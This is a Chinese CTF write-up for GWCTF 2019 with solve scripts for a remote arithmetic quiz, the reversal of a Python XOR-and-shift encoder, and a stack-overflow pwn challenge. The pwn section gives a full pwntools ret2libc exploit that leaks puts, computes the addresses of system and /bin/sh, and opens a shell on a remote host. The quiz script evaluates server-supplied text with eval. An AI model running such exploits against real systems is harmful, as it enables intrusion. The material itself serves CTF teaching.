官方WP:https://github.com/gwht/2019GWCTF/tree/master/

MISC

math

是男人就下150层嘛,也就是答对150次计算题就返回 flag 嘛。这道题与 pwnable.kr 的一道题很像。题目有作答时间限制,所以用脚本跑吧。可能是人品问题,跑了很多次,最好的就是回答到 147 之后就链接断了(垃圾校园网?)。

最终EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = 'debug'

p = remote("183.129.189.60",10034)

n = 0
while n<150:
p.recvuntil("Math problem: ")
math = p.recvuntil("=")[:-2]
p.sendline(str(eval(math)))
sleep(1)
n += 1
else:
p.sendline("cat flag")

RE

pyre

python文件的反编译。这里使用的是工具Easy Python Decompiler,或者可以在线python反编译(可能存在重复代码bug)。

反编译得到的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
# Embedded file name: encode.py
print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1) #23
for i in range(l):
num = ((input1[i] + i) % 128 + 128) % 128
code += num

for i in range(l - 1):
code[i] = code[i] ^ code[i + 1]

print code
code = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']

这里就是一个加密程序,逆算法就可以了。源码中的第一个 for 循环里面分两种情况(小于128、大于128)带入数据计算后,得出简化加密:(input1[i] + i) % 128

第二个 for 循环中的是列表连续异或,解密时需要从尾部开始再次进行异或。

最终EXP:

1
2
3
4
5
6
7
8
9
10
11
a = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']
l = len(a)
print l
a = map(ord,a)
for i in range(l-1,0,-1):
a[i-1] = a[i-1]^a[i]
code = ''
for i in range(l):
num = (a[i]-i) % 128
code += chr(num)
print code

Pwn

史上最简单的pwn

32位 C++ 编写的程序,运行(或)需要安装libc:sudo aptitude -f install lib32stdc++6

栈溢出题目,选择的溢出变量为 s 。单单才变量信息看上去没有问题,不存在溢出。

但是后面的会将字符串中的 I 替换为 pretty。只用 I 够多就能覆写 eip。

最终EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF('./easy_pwn')
local = 0
if local:
p = process('./easy_pwn')
libc = elf.libc
else:
p = remote("183.129.189.60","10025")
libc = ELF('./libc6-i386_2.23.so')
main = 0x80492F5

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

# 泄露 libc 地址
ru("name!\n")
pay = 'I'*0x10
pay += p32(elf.plt['puts']) + p32(main) + p32(elf.got['puts'])
# gdb.attach(p,"b *0x80490CB")

# 计算函数 system 和字符串 /bin/sh 的地址
sl(pay)
ru('\n')
puts_addr = u32(rc(4))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search("/bin/sh\x00").next()
log.warn("puts_addr --> %s",hex(puts_addr))
log.warn("system --> %s",hex(system))
log.warn("binsh --> %s",hex(binsh))
log.warn("libc_base --> %s",hex(libc_base))

ru("name!\n")
pay = 'I'*0x10
pay += p32(system) + p32(main) + p32(binsh)
# gdb.attach(p,"b *0x80490CB")
sl(pay)

p.interactive()